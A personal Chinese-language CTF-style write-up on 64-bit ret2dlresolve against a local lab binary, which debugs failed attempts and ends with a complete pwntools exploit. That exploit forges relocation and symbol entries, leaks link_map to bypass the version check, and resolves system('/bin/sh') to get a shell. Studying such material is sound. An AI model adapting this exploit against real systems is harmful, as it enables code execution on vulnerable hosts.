ret2dlresolve(4)
这次是64位下,开了Partial RELRO保护
这次记录自己的解题过程
先测试一下传入自己构造的reloc_arg看看程序能不能正常运行
elf = ELF('./main64')
def debug():
gdb.attach(p)
pause()
def csu(r12, r13, r14, r15, ret):
rbx = 0
rbp = 1
payload = p64(0x400766)
payload += p64(1) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(0x400750)
payload += p64(0) * 7 + p64(ret)#p64(0),让其作为p64(0x400750)后的参数,那么就可以直接替代push 0了
return payload
bss_addr = elf.bss()
newstack_addr = bss_addr + 0x200
offset = b'a' * 88
read = elf.got['read']
main = elf.sym['main']
p.recvline()
plt0 = elf.get_section_by_name('.plt').header.sh_addr
plt0_addr = reloc_addr + 0x8
payload1 = offset + csu(read, 0x8, plt0_addr, 0, main)
p.send(payload1)
p.send(p64(plt0))
p.recvline()
payload2 = offset + csu(plt0_addr, 0x8, 0x400000, 1, main)
p.send(payload2)
p.recvline()
运行后,发现出错了
程序卡在了_dl_fixup+41这个地方,经分析,是因为r8+8这个地址不存在无法访问导致
那么我们往前推进,发现r8主要有rdx来决定,rax没有什么异常
而rdx由rsi决定,再往前看,发现rsi是在_dl_runtime_resolve_xsavec中调用_dl_fixup函数传递的参数,reloc_offset和link_map
继续查看rbx,发现rbx+0x10处存储的其实是之前调用call指令保存的下一条指令的地址,而这个地址将reloc_offset覆盖掉了
也就是上面代码中
payload += p64(0) * 7 + p64(ret)
#这以部分,第一个p64(0)就是我要传入write的reloc_offset
#但因为call指令的原因,这个值被覆盖掉了
因此这里就不能用call指令来跳转到plt0处
需要用到ret
那么payload1及之后修改为下面这个
plt0 = elf.get_section_by_name('.plt').header.sh_addr
binsh_addr = reloc_addr + 0x8
payload1 = offset + csu(read, 0x8, binsh_addr, 0, main)
p.send(payload1)
p.send(b'/bin/sh\x00')
p.recvline()
ret_addr = 0x400294
payload2 = offset + csu(elf.got['write'], 0x8, binsh_addr, 1, ret_addr) + p64(plt0) + p64(0)
p.send(payload2)
#这里我先调用了一次write函数,是因为我可以直接通过这个来进行参数传递,之后返回值填plt0,在后面的p64(0)就是write的reloc_args了
print(p.recv(0x10))
预期会输出两次/bin/sh,如下
那么初步测试算是成功了,接下来就需要伪造一个reloc_args让其指向自己构造的重定位表项
先看一下重定位表项结构,能够看到一共三个字段
这三个字段总共占看0x18也就是24字节
换成结构体就是
typedef struct
{
Elf64_Addr r_offset; /* got表地址 */
Elf64_Xword r_info; /* 偏移 */
Elf64_Sxword r_addend; /* Addend */
} Elf64_Rela;
r_info中,以write的为例r_info = 0x100000007
其中后4个字节0x00000007是某标志位
前4个字节0x00000001即0x1就是偏移了
根据偏移1,到符号表获取字符表的位置dynsym_addr + 1 * 8,如下
这里得到的是个Elf64_Sym结构体,如下总共占据了24字节,其中第一个字段占了4个字节
typedef struct
{
Elf64_Word st_name; /*对应符号的偏移 4B*/
unsigned char st_info; //1B
unsigned char st_other; //1B
Elf64_Section st_shndx; //2B
Elf64_Addr st_value; //8B
Elf64_Xword st_size; //8B
} Elf64_Sym;
st_name = 0x3D,如下
0x4003D5 - 0x400398 = 0x3D
现在就可以开始伪造reloc_args和Elf64_Sym了
于是修改了脚本,如下
plt0 = elf.get_section_by_name('.plt').header.sh_addr
payload1 = offset + csu(read, 0x8, binsh_addr, 0, main)
p.send(payload1)
p.send(b'/bin/sh\x00')
p.recvline()
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
write_reloc = p64(0x601018) + p64(int((write_sym_addr - dynsym) / 24) << 32 | 7) + p64(0)
rela_plt = elf.get_section_by_name('.rela.plt').header.sh_addr
payload2 = offset + csu(read, 24, write_reloc_addr, 0, main)
p.send(payload2)
p.send(write_reloc) #伪造的重定位表项
p.recvline()
payload3 = offset + csu(read, 0x8, write_addr, 0, main)
p.send(payload3)
p.send(b'system\x00') #伪造的字符
p.recvline()
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
write_sym = p32(write_addr - dynstr) + p8(0x12) + p8(0) + p16(0) + p64(0) + p64(0)
payload4 = offset + csu(read, len(write_sym), write_sym_addr, 0, main)
p.send(payload4)
p.send(write_sym) #伪造的符号表项,也就是Elf64_Sym
p.recvline()
#debug()
ret_addr = 0x400294
rdi_addr = 0x400773
payload7 = offset + p64(rdi_addr) + p64(binsh_addr) + p64(plt0) + p64(int((write_reloc_addr - rela_plt) / 24))
p.send(payload7)
p.interactive()
执行后(addadd)
果然失败了,那么就看在哪出问题了,如下
发现这里访问量不存在的地址,这里是为了获取版本信息
部分源码如下
const struct r_found_version *version = NULL;
if (l->l_info[VERSYMIDX(DT_VERSYM)] != NULL)
{
const ElfW(Half) *vernum = (const void *)D_PTR(l, l_info[VERSYMIDX(DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM)(reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];//问题杵在这里
if (version->hash == 0)
version = NULL;
}
所以,为了避开这个问题就需要绕过第一个if,也就是让l->l_info[VERSYMIDX(DT_VERSYM)]为0
根据dynamic能够知道DT_VERSYM,我们的目的是让link_map保存DT_VERSYM的地址不存在就行了
首先泄露link_map地址,这个地址保存在got表,如下
构造如下程序
payload5 = offset + csu(elf.got['write'], 8, 0x601008, 1, main)
p.send(payload5)
link_map_addr = u64(p.recv(8))
print(hex(link_map_addr))
debug()
p.recvline()
泄露出来的地址是0x7f046f7c6168
之后查找link_map保存DT_VERSYM的偏移,计算得到0x1c8
接着将0x7f046f7c6168 + 0x1c8处用0覆盖,就能绕过那个if判断了
脚本如下
plt0 = elf.get_section_by_name('.plt').header.sh_addr
payload1 = offset + csu(read, 0x8, binsh_addr, 0, main)
p.send(payload1)
p.send(b'/bin/sh\x00')
p.recvline()
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
print(hex(int((write_sym_addr - dynsym) / 24) << 32 | 7))
write_reloc = p64(0x601018) + p64(int((write_sym_addr - dynsym) / 24) << 32 | 7) + p64(0)
rela_plt = elf.get_section_by_name('.rela.plt').header.sh_addr
payload2 = offset + csu(read, 24, write_reloc_addr, 0, main)
p.send(payload2)
p.send(write_reloc)
p.recvline()
payload3 = offset + csu(read, 0x8, write_addr, 0, main)
p.send(payload3)
p.send(b'system\x00')
p.recvline()
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
write_sym = p32(write_addr - dynstr) + p8(0x12) + p8(0) + p16(0) + p64(0) + p64(0)
payload4 = offset + csu(read, len(write_sym), write_sym_addr, 0, main)
p.send(payload4)
p.send(write_sym)
p.recvline()
payload5 = offset + csu(elf.got['write'], 8, 0x601008, 1, main)
p.send(payload5)
link_map_addr = u64(p.recv(8))
print(hex(link_map_addr))
p.recvline()
payload6 = offset + csu(read, 8, link_map_addr + 0x1c8, 0, main)
p.send(payload6)
p.send(p64(0))
p.recvline()
ret_addr = 0x400294
payload7 = offset + p64(0x400773) + p64(binsh_addr) + p64(plt0) + p64(int((write_reloc_addr - rela_plt) / 24))
p.send(payload7)
p.interactive()
运行结果如下
最后
ret2dlresolve的学习终于结束了,算了算时间,加上对32位的学习,差不多快一个月了,真难顶。最后,整理了一下这一次的exp
from pwn import *
#context.log_level = "debug"
p = process('./main64')
elf = ELF('./main64')
def debug():
gdb.attach(p)
pause()
def csu(r12, r13, r14, r15, ret):
rbx = 0
rbp = 1
payload = p64(0x400766)
payload += p64(1) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(0x400750)
payload += p64(0) * 7 + p64(ret)
return payload
#debug()
bss_addr = elf.bss()
newstack_addr = bss_addr + 0x200
print(hex(newstack_addr))
offset = b'a' * 88
read = elf.got['read']
main = elf.sym['main']
plt0 = elf.get_section_by_name('.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
rela_plt = elf.get_section_by_name('.rela.plt').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
p.recvline()
binsh_addr = newstack_addr
write_reloc_addr = binsh_addr + 0x10
write_addr = write_reloc_addr + 0x20
write_sym_addr = write_addr + 0x10
payload = offset + csu(read, 0x58, binsh_addr, 0, main)
p.send(payload)
payload1 = b'/bin/sh\x00' + p64(0)
payload1 += p64(0x601018) + p64(int((write_sym_addr - dynsym) / 24) << 32 | 7) + p64(0) + p64(0) #write_reloc
payload1 += b'system\x00\x00' + p64(0)
payload1 += p32(write_addr - dynstr) + p8(0x12) + p8(0) + p16(0) + p64(0) + p64(0)
p.send(payload1)
p.recvline()
#0x601008 里面存的是link_map的地址
payload2 = offset + csu(elf.got['write'], 8, 0x601008, 1, main)
p.send(payload2)
link_map_addr = u64(p.recv(8))
print(hex(link_map_addr))
p.recvline()
#debug()
payload3 = offset + csu(read, 8, link_map_addr + 0x1c8, 0, main)
p.send(payload3)
p.send(p64(0))
p.recvline()
#debug()
ret_addr = 0x400294
#print(hex(elf.got['write']))
#print(hex(write_reloc_addr - rela_plt))
payload4 = offset + p64(0x400773) + p64(binsh_addr) + p64(plt0) + p64(int((write_reloc_addr - rela_plt) / 24))
p.send(payload4)
p.interactive()